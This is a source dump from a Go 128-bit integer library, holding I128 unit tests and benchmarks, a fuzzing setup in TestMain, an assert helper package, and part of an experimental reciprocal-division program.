| func TestI128Neg(t *testing.T) { 539 | for idx, tc := range []struct { 540 | a, b I128 541 | }{ 542 | {i64(0), i64(0)}, 543 | {i64(-2), i64(2)}, 544 | {i64(2), i64(-2)}, 545 | 546 | // hi/lo carry: 547 | {I128{lo: 0xFFFFFFFFFFFFFFFF}, I128{hi: 0xFFFFFFFFFFFFFFFF, lo: 1}}, 548 | {I128{hi: 0xFFFFFFFFFFFFFFFF, lo: 1}, I128{lo: 0xFFFFFFFFFFFFFFFF}}, 549 | 550 | // These cases popped up as a weird regression when refactoring I128FromBigInt: 551 | {i128s("18446744073709551616"), i128s("-18446744073709551616")}, 552 | {i128s("-18446744073709551616"), i128s("18446744073709551616")}, 553 | {i128s("-18446744073709551617"), i128s("18446744073709551617")}, 554 | {I128{hi: 1, lo: 0}, I128{hi: 0xFFFFFFFFFFFFFFFF, lo: 0x0}}, 555 | 556 | {i128s("28446744073709551615"), i128s("-28446744073709551615")}, 557 | {i128s("-28446744073709551615"), i128s("28446744073709551615")}, 558 | 559 | // Negating MaxI128 should yield MinI128 + 1: 560 | {I128{hi: 0x7FFFFFFFFFFFFFFF, lo: 0xFFFFFFFFFFFFFFFF}, I128{hi: 0x8000000000000000, lo: 1}}, 561 | 562 | // Negating MinI128 should yield MinI128: 563 | {I128{hi: 0x8000000000000000, lo: 0}, I128{hi: 0x8000000000000000, lo: 0}}, 564 | 565 | {i128s("-170141183460469231731687303715884105728"), i128s("-170141183460469231731687303715884105728")}, 566 | } { 567 | t.Run(fmt.Sprintf("%d/-%s=%s", idx, tc.a, tc.b), func(t *testing.T) { 568 | tt := assert.WrapTB(t) 569 | result := tc.a.Neg() 570 | tt.MustAssert(tc.b.Equal(result)) 571 | }) 572 | } 573 | } 574 | 575 | func TestI128QuoRem(t *testing.T) { 576 | for _, tc := range []struct { 577 | i, by, q, r I128 578 | }{ 579 | {i: i64(1), by: i64(2), q: i64(0), r: i64(1)}, 580 | {i: i64(10), by: i64(3), q: i64(3), r: i64(1)}, 581 | {i: i64(10), by: i64(-3), q: i64(-3), r: i64(1)}, 582 | {i: i64(10), by: i64(10), q: i64(1), r: i64(0)}, 583 | 584 | // Hit the 128-bit division 'lz+tz == 127' branch: 585 | {i: i128s("0x10000000000000000"), by: i128s("0x10000000000000000"), q: i64(1), r: i64(0)}, 586 | 587 | // Hit the 128-bit division 'cmp == 0' branch 588 | {i: i128s("0x12345678901234567"), by: i128s("0x12345678901234567"), q: i64(1), r: i64(0)}, 589 | 590 | {i: MinI128, by: i64(-1), q: MinI128, r: zeroI128}, 591 | } { 592 | t.Run(fmt.Sprintf("%s÷%s=%s,%s", tc.i, tc.by, tc.q, tc.r), func(t *testing.T) { 593 | tt := assert.WrapTB(t) 594 | q, r := tc.i.QuoRem(tc.by) 595 | tt.MustEqual(tc.q.String(), q.String()) 596 | tt.MustEqual(tc.r.String(), r.String()) 597 | 598 | // Skip the weird overflow edge case where we divide MinI128 by -1: 599 | // this effectively becomes a negation operation, which overflows: 600 | // 601 | // -170141183460469231731687303715884105728 / -1 == -170141183460469231731687303715884105728 602 | // 603 | if tc.i != MinI128 { 604 | iBig := tc.i.AsBigInt() 605 | byBig := tc.by.AsBigInt() 606 | 607 | qBig, rBig := new(big.Int).Set(iBig), new(big.Int).Set(iBig) 608 | qBig = qBig.Div(qBig, byBig) 609 | rBig = rBig.Mod(rBig, byBig) 610 | 611 | tt.MustEqual(tc.q.String(), qBig.String()) 612 | tt.MustEqual(tc.r.String(), rBig.String()) 613 | } 614 | }) 615 | } 616 | } 617 | 618 | func TestI128Scan(t *testing.T) { 619 | for idx, tc := range []struct { 620 | in string 621 | out I128 622 | ok bool 623 | }{ 624 | {"1", i64(1), true}, 625 | {"0xFF", zeroI128, false}, 626 | {"-1", i64(-1), true}, 627 | {"170141183460469231731687303715884105728", zeroI128, false}, 628 | {"-170141183460469231731687303715884105729", zeroI128, false}, 629 | } { 630 | t.Run(fmt.Sprintf("%d/%s==%d", idx, tc.in, tc.out), func(t *testing.T) { 631 | tt := assert.WrapTB(t) 632 | var result I128 633 | n, err := fmt.Sscan(tc.in, &result) 634 | tt.MustEqual(tc.ok, err == nil, "%v", err) 635 | if err == nil { 636 | tt.MustEqual(1, n) 637 | } else { 638 | tt.MustEqual(0, n) 639 | } 640 | tt.MustEqual(tc.out, result) 641 | }) 642 | } 643 | } 644 | 645 | func TestI128Sign(t *testing.T) { 646 | for idx, tc := range []struct { 647 | a I128 648 | sign int 649 | }{ 650 | {i64(0), 0}, 651 | {i64(1), 1}, 652 | {i64(-1), -1}, 653 | {MinI128, -1}, 654 | {MaxI128, 1}, 655 | } { 656 | t.Run(fmt.Sprintf("%d/%s==%d", idx, tc.a, tc.sign), func(t *testing.T) { 657 | tt := assert.WrapTB(t) 658 | result := tc.a.Sign() 659 | tt.MustEqual(tc.sign, result) 660 | }) 661 | } 662 | } 663 | 664 | func TestI128Sub(t *testing.T) { 665 | for idx, tc := range []struct { 666 | a, b, c I128 667 | }{ 668 | {i64(-2), i64(-1), i64(-1)}, 669 | {i64(-2), i64(1), i64(-3)}, 670 | {i64(2), i64(1), i64(1)}, 671 | {i64(2), i64(-1), i64(3)}, 672 | {i64(1), i64(2), i64(-1)}, // crossing zero 673 | {i64(-1), i64(-2), i64(1)}, // crossing zero 674 | 675 | {MinI128, i64(1), MaxI128}, // Overflow wraps 676 | {MaxI128, i64(-1), MinI128}, // Overflow wraps 677 | 678 | {i128s("0x10000000000000000"), i64(1), i128s("0xFFFFFFFFFFFFFFFF")}, // carry down 679 | {i128s("0xFFFFFFFFFFFFFFFF"), i64(-1), i128s("0x10000000000000000")}, // carry up 680 | 681 | // {i64(maxInt64), i64(1), i128s("18446744073709551616")}, // lo carries to hi 682 | // {i128s("18446744073709551615"), i128s("18446744073709551615"), i128s("36893488147419103230")}, 683 | } { 684 | t.Run(fmt.Sprintf("%d/%s-%s=%s", idx, tc.a, tc.b, tc.c), func(t *testing.T) { 685 | tt := assert.WrapTB(t) 686 | tt.MustAssert(tc.c.Equal(tc.a.Sub(tc.b))) 687 | }) 688 | } 689 | } 690 | 691 | func TestI128Sub64(t *testing.T) { 692 | for idx, tc := range []struct { 693 | a I128 694 | b int64 695 | c I128 696 | }{ 697 | {i64(-2), -1, i64(-1)}, 698 | {i64(-2), 1, i64(-3)}, 699 | {i64(2), 1, i64(1)}, 700 | {i64(2), -1, i64(3)}, 701 | {i64(1), 2, i64(-1)}, // crossing zero 702 | {i64(-1), -2, i64(1)}, // crossing zero 703 | 704 | {MinI128, 1, MaxI128}, // Overflow wraps 705 | {MaxI128, -1, MinI128}, // Overflow wraps 706 | 707 | {i128s("0x10000000000000000"), 1, i128s("0xFFFFFFFFFFFFFFFF")}, // carry down 708 | {i128s("0xFFFFFFFFFFFFFFFF"), -1, i128s("0x10000000000000000")}, // carry up 709 | } { 710 | t.Run(fmt.Sprintf("%d/%s-%d=%s", idx, tc.a, tc.b, tc.c), func(t *testing.T) { 711 | tt := assert.WrapTB(t) 712 | tt.MustAssert(tc.c.Equal(tc.a.Sub64(tc.b))) 713 | }) 714 | } 715 | } 716 | 717 | var ( 718 | BenchI128Result I128 719 | BenchInt64Result int64 720 | BenchmarkI128Float64Result float64 721 | ) 722 | 723 | func BenchmarkI128Add(b *testing.B) { 724 | for idx, tc := range []struct { 725 | a, b I128 726 | name string 727 | }{ 728 | {zeroI128, zeroI128, "0+0"}, 729 | {MaxI128, MaxI128, "max+max"}, 730 | {i128s("0x7FFFFFFFFFFFFFFF"), i128s("0x7FFFFFFFFFFFFFFF"), "lo-only"}, 731 | {i128s("0xFFFFFFFFFFFFFFFF"), i128s("0x7FFFFFFFFFFFFFFF"), "carry"}, 732 | } { 733 | b.Run(fmt.Sprintf("%d/%s", idx, tc.name), func(b *testing.B) { 734 | for i := 0; i < b.N; i++ { 735 | BenchI128Result = tc.a.Add(tc.b) 736 | } 737 | }) 738 | } 739 | } 740 | 741 | func BenchmarkI128Add64(b *testing.B) { 742 | for idx, tc := range []struct { 743 | a I128 744 | b int64 745 | name string 746 | }{ 747 | {zeroI128, 0, "0+0"}, 748 | {MaxI128, maxInt64, "max+max"}, 749 | {i64(-1), -1, "-1+-1"}, 750 | {i64(-1), 1, "-1+1"}, 751 | {i64(minInt64), -1, "-min64-1"}, 752 | {i128s("0xFFFFFFFFFFFFFFFF"), 1, "carry"}, 753 | } { 754 | b.Run(fmt.Sprintf("%d/%s", idx, tc.name), func(b *testing.B) { 755 | for i := 0; i < b.N; i++ { 756 | BenchI128Result = tc.a.Add64(tc.b) 757 | } 758 | }) 759 | } 760 | } 761 | 762 | func BenchmarkI128AsFloat(b *testing.B) { 763 | for idx, tc := range []struct { 764 | name string 765 | in I128 766 | }{ 767 | {"zero", I128{}}, 768 | {"one", i64(1)}, 769 | {"minusone", i64(-1)}, 770 | {"maxInt64", i64(maxInt64)}, 771 | {"gt64bit", i128s("0x1 00000000 00000000")}, 772 | {"minInt64", i64(minInt64)}, 773 | {"minusgt64bit", i128s("-0x1 00000000 00000000")}, 774 | } { 775 | b.Run(fmt.Sprintf("%d/%s", idx, tc.name), func(b *testing.B) { 776 | for i := 0; i < b.N; i++ { 777 | BenchmarkI128Float64Result = tc.in.AsFloat64() 778 | } 779 | }) 780 | } 781 | } 782 | 783 | func BenchmarkI128FromBigInt(b *testing.B) { 784 | for _, bi := range []*big.Int{ 785 | bigs("0"), 786 | bigs("0xfedcba98"), 787 | bigs("0xfedcba9876543210"), 788 | bigs("0xfedcba9876543210fedcba98"), 789 | bigs("0xfedcba9876543210fedcba9876543210"), 790 | } { 791 | b.Run(fmt.Sprintf("%x", bi), func(b *testing.B) { 792 | for i := 0; i < b.N; i++ { 793 | BenchI128Result, _ = I128FromBigInt(bi) 794 | } 795 | }) 796 | } 797 | } 798 | 799 | var ( 800 | I64CastInput int64 = 0x7FFFFFFFFFFFFFFF 801 | I32CastInput int32 = 0x7FFFFFFF 802 | U64CastInput uint64 = 0x7FFFFFFFFFFFFFFF 803 | ) 804 | 805 | func BenchmarkI128FromCast(b *testing.B) { 806 | // Establish a baseline for a runtime 64-bit cast: 807 | b.Run("I64FromU64", func(b *testing.B) { 808 | for i := 0; i < b.N; i++ { 809 | BenchInt64Result = int64(U64CastInput) 810 | } 811 | }) 812 | 813 | b.Run("I128FromI64", func(b *testing.B) { 814 | for i := 0; i < b.N; i++ { 815 | BenchI128Result = I128From64(I64CastInput) 816 | } 817 | }) 818 | b.Run("I128FromU64", func(b *testing.B) { 819 | for i := 0; i < b.N; i++ { 820 | BenchI128Result = I128FromU64(U64CastInput) 821 | } 822 | }) 823 | b.Run("I128FromI32", func(b *testing.B) { 824 | for i := 0; i < b.N; i++ { 825 | BenchI128Result = I128From32(I32CastInput) 826 | } 827 | }) 828 | } 829 | 830 | func BenchmarkI128FromFloat(b *testing.B) { 831 | for _, pow := range []float64{1, 63, 64, 65, 127, 128} { 832 | b.Run(fmt.Sprintf("pow%d", int(pow)), func(b *testing.B) { 833 | f := math.Pow(2, pow) 834 | for i := 0; i < b.N; i++ { 835 | BenchI128Result, _ = I128FromFloat64(f) 836 | } 837 | }) 838 | } 839 | } 840 | 841 | func BenchmarkI128IsZero(b *testing.B) { 842 | for idx, tc := range []struct { 843 | name string 844 | v I128 845 | }{ 846 | {"0", zeroI128}, 847 | {"hizero", i64(1)}, 848 | {"nozero", MaxI128}, 849 | } { 850 | b.Run(fmt.Sprintf("%d/%s", idx, tc.name), func(b *testing.B) { 851 | for i := 0; i < b.N; i++ { 852 | BenchBoolResult = tc.v.IsZero() 853 | } 854 | }) 855 | } 856 | } 857 | 858 | func BenchmarkI128LessThan(b *testing.B) { 859 | for _, iv := range []struct { 860 | a, b I128 861 | }{ 862 | {i64(1), i64(1)}, 863 | {i64(2), i64(1)}, 864 | {i64(1), i64(2)}, 865 | {i64(-1), i64(-1)}, 866 | {i64(-1), i64(-2)}, 867 | {i64(-2), i64(-1)}, 868 | {MaxI128, MinI128}, 869 | {MinI128, MaxI128}, 870 | } { 871 | b.Run(fmt.Sprintf("%s<%s", iv.a, iv.b), func(b *testing.B) { 872 | for i := 0; i < b.N; i++ { 873 | BenchBoolResult = iv.a.LessThan(iv.b) 874 | } 875 | }) 876 | } 877 | } 878 | 879 | func BenchmarkI128LessOrEqualTo(b *testing.B) { 880 | for _, iv := range []struct { 881 | a, b I128 882 | }{ 883 | {i64(1), i64(1)}, 884 | {i64(2), i64(1)}, 885 | {i64(1), i64(2)}, 886 | {i64(-1), i64(-1)}, 887 | {i64(-1), i64(-2)}, 888 | {i64(-2), i64(-1)}, 889 | {MaxI128, MinI128}, 890 | {MinI128, MaxI128}, 891 | } { 892 | b.Run(fmt.Sprintf("%s<%s", iv.a, iv.b), func(b *testing.B) { 893 | for i := 0; i < b.N; i++ { 894 | BenchBoolResult = iv.a.LessOrEqualTo(iv.b) 895 | } 896 | }) 897 | } 898 | } 899 | 900 | func BenchmarkI128Mul(b *testing.B) { 901 | v := I128From64(maxInt64) 902 | for i := 0; i < b.N; i++ { 903 | BenchI128Result = v.Mul(v) 904 | } 905 | } 906 | 907 | func BenchmarkI128Mul64(b *testing.B) { 908 | v := I128From64(maxInt64) 909 | lim := int64(b.N) 910 | for i := int64(0); i < lim; i++ { 911 | BenchI128Result = v.Mul64(i) 912 | } 913 | } 914 | 915 | func BenchmarkI128QuoRem64(b *testing.B) { 916 | // FIXME: benchmark numbers of various sizes 917 | v, by := i64(1234), int64(56) 918 | for i := 0; i < b.N; i++ { 919 | BenchI128Result, _ = v.QuoRem64(by) 920 | } 921 | } 922 | 923 | func BenchmarkI128Sub(b *testing.B) { 924 | sub := i64(1) 925 | for _, iv := range []I128{i64(1), i128s("0x10000000000000000"), MaxI128} { 926 | b.Run(fmt.Sprintf("%s", iv), func(b *testing.B) { 927 | for i := 0; i < b.N; i++ { 928 | BenchI128Result = iv.Sub(sub) 929 | } 930 | }) 931 | } 932 | } 933 | 934 | func BenchmarkI128MustI128FromBigEndian(b *testing.B) { 935 | var bts = make([]byte, 16) 936 | rand.Read(bts) 937 | for i := 0; i < b.N; i++ { 938 | BenchI128Result = MustU128FromBigEndian(bts).AsI128() 939 | } 940 | } 941 | -------------------------------------------------------------------------------- /init_test.go: -------------------------------------------------------------------------------- 1 | package num 2 | 3 | import ( 4 | "flag" 5 | "fmt" 6 | "log" 7 | "math/big" 8 | "math/rand" 9 | "os" 10 | "regexp" 11 | "strings" 12 | "testing" 13 | "time" 14 | ) 15 | 16 | var ( 17 | fuzzIterations = fuzzDefaultIterations 18 | fuzzOpsActive = allFuzzOps 19 | fuzzTypesActive = allFuzzTypes 20 | fuzzSeed int64 21 | 22 | globalRNG *rand.Rand 23 | ) 24 | 25 | func TestMain(m *testing.M) { 26 | testing.Init() 27 | 28 | var ops StringList 29 | var types StringList 30 | 31 | flag.IntVar(&fuzzIterations, "num.fuzziter", fuzzIterations, "Number of iterations to fuzz each op") 32 | flag.Int64Var(&fuzzSeed, "num.fuzzseed", fuzzSeed, "Seed the RNG (0 == current nanotime)") 33 | flag.Var(&ops, "num.fuzzop", "Fuzz op to run (can pass multiple times, or a comma separated list)") 34 | flag.Var(&types, "num.fuzztype", "Fuzz type (u128, i128) (can pass multiple)") 35 | flag.Parse() 36 | 37 | if fuzzSeed == 0 { 38 | fuzzSeed = time.Now().UnixNano() 39 | } 40 | globalRNG = rand.New(rand.NewSource(fuzzSeed)) 41 | 42 | if len(ops) > 0 { 43 | fuzzOpsActive = nil 44 | for _, op := range ops { 45 | fuzzOpsActive = append(fuzzOpsActive, fuzzOp(op)) 46 | } 47 | } 48 | 49 | if len(types) > 0 { 50 | fuzzTypesActive = nil 51 | for _, t := range types { 52 | fuzzTypesActive = append(fuzzTypesActive, fuzzType(t)) 53 | } 54 | } 55 | 56 | log.Println("integer sz", intSize) 57 | log.Println("rando seed (-num.fuzzseed):", fuzzSeed) // classic rando! 58 | log.Println("fuzz types (-num.fuzztype):", fuzzTypesActive) 59 | log.Println("iterations (-num.fuzziter):", fuzzIterations) 60 | log.Println("active ops (-num.fuzzop) :", fuzzOpsActive) 61 | 62 | code := m.Run() 63 | os.Exit(code) 64 | } 65 | 66 | var trimFloatPattern = regexp.MustCompile(`(\.0+$|(\.\d+[1-9])\0+$)`) 67 | 68 | func cleanFloatStr(str string) string { 69 | return trimFloatPattern.ReplaceAllString(str, "$2") 70 | } 71 | 72 | func accU128FromBigInt(b *big.Int) U128 { 73 | u, acc := U128FromBigInt(b) 74 | if !acc { 75 | panic(fmt.Errorf("num: inaccurate conversion to U128 in fuzz tester for %s", b)) 76 | } 77 | return u 78 | } 79 | 80 | func accI128FromBigInt(b *big.Int) I128 { 81 | i, acc := I128FromBigInt(b) 82 | if !acc { 83 | panic(fmt.Errorf("num: inaccurate conversion to I128 in fuzz tester for %s", b)) 84 | } 85 | return i 86 | } 87 | 88 | func accU64FromBigInt(b *big.Int) uint64 { 89 | if !b.IsUint64() { 90 | panic(fmt.Errorf("num: inaccurate conversion to U64 in fuzz tester for %s", b)) 91 | } 92 | return b.Uint64() 93 | } 94 | 95 | func accI64FromBigInt(b *big.Int) int64 { 96 | if !b.IsInt64() { 97 | panic(fmt.Errorf("num: inaccurate conversion to I64 in fuzz tester for %s", b)) 98 | } 99 | return b.Int64() 100 | } 101 | 102 | type StringList []string 103 | 104 | func (s StringList) Strings() []string { return s } 105 | 106 | func (s *StringList) String() string { 107 | if s == nil { 108 | return "" 109 | } 110 | return strings.Join(*s, ",") 111 | } 112 | 113 | func (s *StringList) Set(v string) error { 114 | vs := strings.Split(v, ",") 115 | for _, vi := range vs { 116 | vi = strings.TrimSpace(vi) 117 | if vi != "" { 118 | *s = append(*s, vi) 119 | } 120 | } 121 | return nil 122 | } 123 | 124 | func randomBigU128(rng *rand.Rand) *big.Int { 125 | if rng == nil { 126 | rng = globalRNG 127 | } 128 | 129 | var v = new(big.Int) 130 | bits := rng.Intn(129) - 1 // 128 bits, +1 for "0 bits" 131 | if bits < 0 { 132 | return v // "-1 bits" == "0" 133 | } else if bits <= 64 { 134 | v = v.Rand(rng, maxBigUint64) 135 | } else { 136 | v = v.Rand(rng, maxBigU128) 137 | } 138 | v.And(v, masks[bits]) 139 | v.SetBit(v, bits, 1) 140 | return v 141 | } 142 | 143 | func simulateBigU128Overflow(rb *big.Int) *big.Int { 144 | for rb.Cmp(wrapBigU128) >= 0 { 145 | rb = new(big.Int).And(rb, maxBigU128) 146 | } 147 | return rb 148 | } 149 | 150 | func simulateBigI128Overflow(rb *big.Int) *big.Int { 151 | if rb.Cmp(maxBigI128) > 0 { 152 | // simulate overflow 153 | gap := new(big.Int) 154 | gap.Sub(rb, minBigI128) 155 | r := new(big.Int).Rem(gap, wrapBigU128) 156 | rb = new(big.Int).Add(r, minBigI128) 157 | 158 | } else if rb.Cmp(minBigI128) < 0 { 159 | // simulate underflow 160 | gap := new(big.Int).Set(rb) 161 | gap.Sub(maxBigI128, gap) 162 | r := new(big.Int).Rem(gap, wrapBigU128) 163 | rb = new(big.Int).Sub(maxBigI128, r) 164 | } 165 | 166 | return rb 167 | } 168 | -------------------------------------------------------------------------------- /internal/assert/assert.go: -------------------------------------------------------------------------------- 1 | package assert 2 | 3 | // Copyright (c) 2017 Blake Williams 4 | // 5 | // Permission is hereby granted, free of charge, to any person obtaining a copy 6 | // of this software and associated documentation files (the "Software"), to deal 7 | // in the Software without restriction, including without limitation the rights 8 | // to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | // copies of the Software, and to permit persons to whom the Software is 10 | // furnished to do so, subject to the following conditions: 11 | // 12 | // The above copyright notice and this permission notice shall be included in all 13 | // copies or substantial portions of the Software. 14 | // 15 | // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | // SOFTWARE. 22 | 23 | import ( 24 | "fmt" 25 | "path/filepath" 26 | "reflect" 27 | "runtime" 28 | "testing" 29 | ) 30 | 31 | func WrapTB(tb testing.TB) T { tb.Helper(); return T{TB: tb} } 32 | 33 | // T wraps a testing.T or a testing.B with a simple set of custom assertions. 34 | // 35 | // Assertions prefixed with 'Must' will terminate the execution of the test case 36 | // immediately. 37 | // 38 | // Assertions that are not prefixed with 'Must' will fail the test but allow 39 | // the test to continue. 40 | type T struct{ testing.TB } 41 | 42 | // frameDepth is the number of frames to strip off the callstack when reporting the line 43 | // where an error occurred. 44 | const frameDepth = 2 45 | 46 | func CompareMsg(exp, act interface{}) string { 47 | return fmt.Sprintf("\nexp: %+v\ngot: %+v", exp, act) 48 | } 49 | 50 | func CompareMsgf(exp, act interface{}, msg string, args ...interface{}) string { 51 | msg = fmt.Sprintf(msg, args...) 52 | return fmt.Sprintf("%v%v", msg, CompareMsg(exp, act)) 53 | } 54 | 55 | // MustAssert immediately fails the test if the condition is false. 56 | func (tb T) MustAssert(condition bool, v ...interface{}) { 57 | tb.Helper() 58 | _ = tb.assert(true, condition, v...) 59 | } 60 | 61 | // Assert fails the test if the condition is false. 62 | func (tb T) Assert(condition bool, v ...interface{}) bool { 63 | tb.Helper() 64 | return tb.assert(false, condition, v...) 65 | } 66 | 67 | func (tb T) assert(fatal bool, condition bool, v ...interface{}) bool { 68 | tb.Helper() 69 | if !condition { 70 | _, file, line, _ := runtime.Caller(frameDepth) 71 | msg := "" 72 | if len(v) > 0 { 73 | msgx := v[0] 74 | v = v[1:] 75 | if msgx == nil { 76 | msg = "" 77 | } else if err, ok := msgx.(error); ok { 78 | msg = err.Error() 79 | } else { 80 | msg = msgx.(string) 81 | } 82 | } 83 | v = append([]interface{}{filepath.Base(file), line}, v...) 84 | tb.fail(fatal, fmt.Sprintf("\nassertion failed at %s:%d\n"+msg, v...)) 85 | } 86 | return condition 87 | } 88 | 89 | // MustOKAll errors and terminates the test at the first error found in the arguments. 90 | // It allows multiple return value functions to be passed in directly. 91 | func (tb T) MustOKAll(errs ...interface{}) { 92 | tb.Helper() 93 | _ = tb.okAll(true, errs...) 94 | } 95 | 96 | // OKAll errors the test at the first error found in the arguments, but continues 97 | // running the test. It allows multiple return value functions to be passed in 98 | // directly. 99 | func (tb T) OKAll(errs ...interface{}) bool { 100 | tb.Helper() 101 | return tb.okAll(false, errs...) 102 | } 103 | 104 | func (tb T) okAll(fatal bool, errs ...interface{}) bool { 105 | tb.Helper() 106 | for _, err := range errs { 107 | if _, ok := err.(*testing.T); ok { 108 | panic("unexpected testing.T in call to OK()") 109 | } else if _, ok := err.(T); ok { 110 | panic("unexpected testtools.T in call to OK()") 111 | } 112 | if err, ok := err.(error); ok && err != nil { 113 | if !tb.ok(fatal, err) { 114 | return false 115 | } 116 | } 117 | } 118 | return true 119 | } 120 | 121 | func (tb T) MustOK(err error) { 122 | tb.Helper() 123 | _ = tb.ok(true, err) 124 | } 125 | 126 | func (tb T) OK(err error) bool { 127 | tb.Helper() 128 | return tb.ok(true, err) 129 | } 130 | 131 | func (tb T) ok(fatal bool, err error) bool { 132 | tb.Helper() 133 | if err == nil { 134 | return true 135 | } 136 | _, file, line, _ := runtime.Caller(frameDepth) 137 | tb.fail(fatal, fmt.Sprintf("\nunexpected error at %s:%d\n%s", 138 | filepath.Base(file), line, err.Error())) 139 | return false 140 | } 141 | 142 | // MustExact immediately fails the test if the Go language equality rules for 143 | // '==' do not apply to the arguments. This is distinct from MustEqual, which 144 | // performs a reflect.DeepEqual(). 145 | // 146 | func (tb T) MustExact(exp, act interface{}, v ...interface{}) { 147 | tb.Helper() 148 | _ = tb.exact(true, exp, act, v...) 149 | } 150 | 151 | // Exact fails the test but continues executing if the Go language equality 152 | // rules for '==' do not apply to the arguments. This is distinct from 153 | // MustEqual, which performs a reflect.DeepEqual(). 154 | // 155 | func (tb T) Exact(exp, act interface{}, v ...interface{}) bool { 156 | tb.Helper() 157 | return tb.exact(false, exp, act, v...) 158 | } 159 | 160 | func (tb T) exact(fatal bool, exp, act interface{}, v ...interface{}) bool { 161 | tb.Helper() 162 | if exp != act { 163 | tb.failCompare("exact", exp, act, fatal, frameDepth+1, v...) 164 | return false 165 | } 166 | return true 167 | } 168 | 169 | // MustEqual immediately fails the test if exp is not equal to act based on 170 | // reflect.DeepEqual(). See Exact for equality comparisons using '=='. 171 | func (tb T) MustEqual(exp, act interface{}, v ...interface{}) { 172 | tb.Helper() 173 | _ = tb.equals(true, exp, act, v...) 174 | } 175 | 176 | // Equals fails the test but continues executing if exp is not equal to act 177 | // using reflect.DeepEqual() and returns whether the assertion succeded. See 178 | // Exact for equality comparisons using '=='. 179 | func (tb T) Equals(exp, act interface{}, v ...interface{}) bool { 180 | tb.Helper() 181 | return tb.equals(false, exp, act, v...) 182 | } 183 | 184 | // Equal fails the test if exp is not equal to act. 185 | func (tb T) equals(fatal bool, exp, act interface{}, v ...interface{}) bool { 186 | tb.Helper() 187 | if !reflect.DeepEqual(exp, act) { 188 | tb.failCompare("equal", exp, act, fatal, frameDepth+1, v...) 189 | return false 190 | } 191 | return true 192 | } 193 | 194 | func (tb T) MustFloatNear(epsilon float64, expected float64, actual float64, v ...interface{}) { 195 | tb.Helper() 196 | _ = tb.floatNear(true, epsilon, expected, actual, v...) 197 | } 198 | 199 | func (tb T) MustFloatsNear(epsilon float64, expected []float64, actual []float64, v ...interface{}) { 200 | tb.Helper() 201 | tb.MustEqual(len(expected), len(actual), "length mismatch") 202 | for i := range expected { 203 | _ = tb.floatNear(true, epsilon, expected[i], actual[i], v...) 204 | } 205 | } 206 | 207 | func (tb T) FloatNear(epsilon float64, expected float64, actual float64, v ...interface{}) bool { 208 | tb.Helper() 209 | return tb.floatNear(false, epsilon, expected, actual, v...) 210 | } 211 | 212 | func (tb T) floatNear(fatal bool, epsilon float64, expected float64, actual float64, v ...interface{}) bool { 213 | tb.Helper() 214 | near := IsFloatNear(epsilon, expected, actual) 215 | if !near { 216 | _, file, line, _ := runtime.Caller(frameDepth) 217 | msg := "" 218 | if len(v) > 0 { 219 | msg, v = v[0].(string), v[1:] 220 | } 221 | v = append([]interface{}{expected, actual, epsilon, filepath.Base(file), line}, v...) 222 | msg = fmt.Sprintf("\nfloat abs(%f - %f) > %f at %s:%d\n"+msg, v...) 223 | tb.fail(fatal, msg) 224 | } 225 | return near 226 | } 227 | 228 | func (tb T) failCompare(kind string, exp, act interface{}, fatal bool, frameOffset int, v ...interface{}) { 229 | tb.Helper() 230 | extra := "" 231 | if len(v) > 0 { 232 | extra = fmt.Sprintf(" - "+v[0].(string), v[1:]...) 233 | } 234 | 235 | _, file, line, _ := runtime.Caller(frameOffset) 236 | msg := CompareMsgf(exp, act, "\n%s failed at %s:%d%s", kind, filepath.Base(file), line, extra) 237 | tb.fail(fatal, msg) 238 | } 239 | 240 | func (tb T) fail(fatal bool, msg string) { 241 | tb.Helper() 242 | if fatal { 243 | tb.Fatal(msg) 244 | } else { 245 | tb.Error(msg) 246 | } 247 | } 248 | 249 | func IsFloatNear(epsilon, expected, actual float64) bool { 250 | diff := expected - actual 251 | return diff == 0 || (diff < 0 && diff > -epsilon) || (diff > 0 && diff < epsilon) 252 | } 253 | -------------------------------------------------------------------------------- /misc/recip.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "log" 6 | "math/big" 7 | "math/bits" 8 | "os" 9 | "strconv" 10 | 11 | num "github.com/lightcapitu/go-num" 12 | ) 13 | 14 | // This is a cheap-and-nasty experiment to try to understand the algorithm 15 | // used by compilers to do fast integer division using multiplication. I wanted 16 | // to use it for certain fast division operations in U128 but it didn't really 17 | // end up helping much. The routine I was trying to use it for is pasted down 18 | // the bottom, along with the benchmark code that showed me I had wasted my 19 | // time. 20 | // 21 | // It contains the first half of an unpolished, untested U256 implementation, 22 | // which could be spun into an implementation in the library proper at some 23 | // point. 24 | // 25 | // It has been kept with the repository just in case it comes in handy, but I 26 | // wouldn't recommend using it for anything serious. 27 | 28 | const usage = `Reciprocal finder 29 | 30 | Usage: ` 31 | 32 | func main() { 33 | if err := run(); err != nil { 34 | log.Fatal(err) 35 | } 36 | } 37 | 38 | func run() error { 39 | if len(os.Args) < 3 { 40 | fmt.Println(usage) 41 | return fmt.Errorf("missing args") 42 | } 43 | 44 | bitv := os.Args[1] 45 | numerStr, denomStr := os.Args[2], os.Args[3] 46 | 47 | if bitv == "64" { 48 | numer, err := strconv.ParseUint(numerStr, 10, 64) 49 | if err != nil { 50 | return err 51 | } 52 | 53 | denom, err := strconv.ParseUint(denomStr, 10, 64) 54 | if err != nil { 55 | return err 56 | } 57 | 58 | recip, shift, add := divFindMulU64(denom) 59 | result := divMulU64(numer, recip, shift, add) 60 | 61 | fmt.Printf("%d / %d == %d\n", numer, denom, result) 62 | fmt.Printf("recip:%#x shift:%d 65bit:%v\n", recip, shift, add) 63 | 64 | } else if bitv == "128" { 65 | numer, _, err := num.U128FromString(numerStr) 66 | if err != nil { 67 | return err 68 | } 69 | 70 | denom, _, err := num.U128FromString(denomStr) 71 | if err != nil { 72 | return err 73 | } 74 | 75 | recip, shift, add := divFindMulU128(denom) 76 | result := divMulU128(numer, recip, shift, add) 77 | 78 | fmt.Printf("%d / %d == %d\n", numer, denom, result) 79 | 